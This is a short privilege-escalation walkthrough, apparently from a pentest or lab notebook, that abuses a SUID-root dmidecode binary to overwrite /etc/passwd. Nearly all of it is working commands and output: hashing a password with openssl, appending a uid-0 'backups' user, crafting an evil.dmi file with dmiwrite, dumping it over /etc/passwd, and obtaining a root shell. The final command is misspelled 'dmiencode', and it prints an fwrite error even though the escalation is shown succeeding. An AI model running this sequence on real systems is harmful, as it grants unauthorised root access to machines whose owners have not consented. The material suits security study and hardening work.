

Privilege escalation using dmidecode

Scenario

dmidecode is a utility for reading system hardware information in the SMBIOS format: a standard maintained by the Distributed Management Task Force. <https://www.nongnu.org/dmidecode/> is the implementation present in most Linux distributions, including Debian and Red Hat, and was the focus of this investigation.

Command `dmidecode` has SUID (chmod 4000) - run as the owner, not the user who started it.

```
hades@ubuntu:~/dmiwrite$ ls -l $(which dmidecode)
-rwsr-xr-x 1 root root 121856 Dec 23 2019 /usr/sbin/dmidecode
```

Privilege escalation

dmidecode suid method changing /etc/passwd

Create user backups

Generate hash password with openssl

```
hades@ubuntu:~$ openssl passwd -1 -salt backups bk
$1$backups$FLLpDMVKJpRZ.KXaZE.FW.
```

Fill to file /etc/passwd

```
backups:$1$backups$FLLpDMVKJpRZ.KXaZE.FW.:0:0:,,,:/root:/bin/bash
```

Copy file /etc/passwd to passwd.bak and add backups user to the end of the file

```
hades@ubuntu:~$ cp /etc/passwd /tmp/passwd.bak
hades@ubuntu:~$ echo 'backups:$1$backups$FLLpDMVKJpRZ.KXaZE.FW.:0:0:,,,:/root:/bin/bash' >>
/tmp/passwd.bak
```

Generate payload

```
hades@ubuntu:~/dmiwrite$ make dmiwrite
gcc -W -Wall -Wshadow -Wstrict-prototypes -Wpointer-arith -Wcast-qual -Wcast-align -Wwrite-strings -
Wmissing-prototypes -Winline -Wundef dmiwrite.c util.c -o dmiwrite
```

```
hades@ubuntu:~/dmiwrite$ ./dmiwrite /tmp/passwd.bak evil.dmi
Wrote payload of length 2962 to evil.dmi
Padding 980078 bytes to evil.dmi
```

```
Setting checksum: memset(buf+30, 202, 1);
```

```
Wrote DMI header of length 32 to evil.dmi  
Padding 65536 bytes to evil.dmi  
Congratulations, evil.dmi looks like a valid DMI file.
```

Getting root

```
hades@ubuntu:~/dmiwrite$ su backups  
su: user backups does not exist  
hades@ubuntu:~/dmiwrite$ dmiencode --no-sysfs -d evil.dmi --dump-bin /etc/passwd  
# dmiencode 3.2  
Scanning evil.dmi for entry point.  
SMBIOS 2.1 present.  
1 structures occupying 2962 bytes.  
Table at 0x00000000.  
  
# Writing 2962 bytes to /etc/passwd.  
# Writing 0 bytes to /etc/passwd.  
/etc/passwd: fwrite: No such file or directory  
hades@ubuntu:~/dmiwrite$ su backups  
Password:  
backups@ubuntu:/home/hades/dmiwrite# id  
uid=0(backups) gid=0(root) groups=0(root)
```

Reference

<https://github.com/adamreiser/dmiwrite>

<https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/>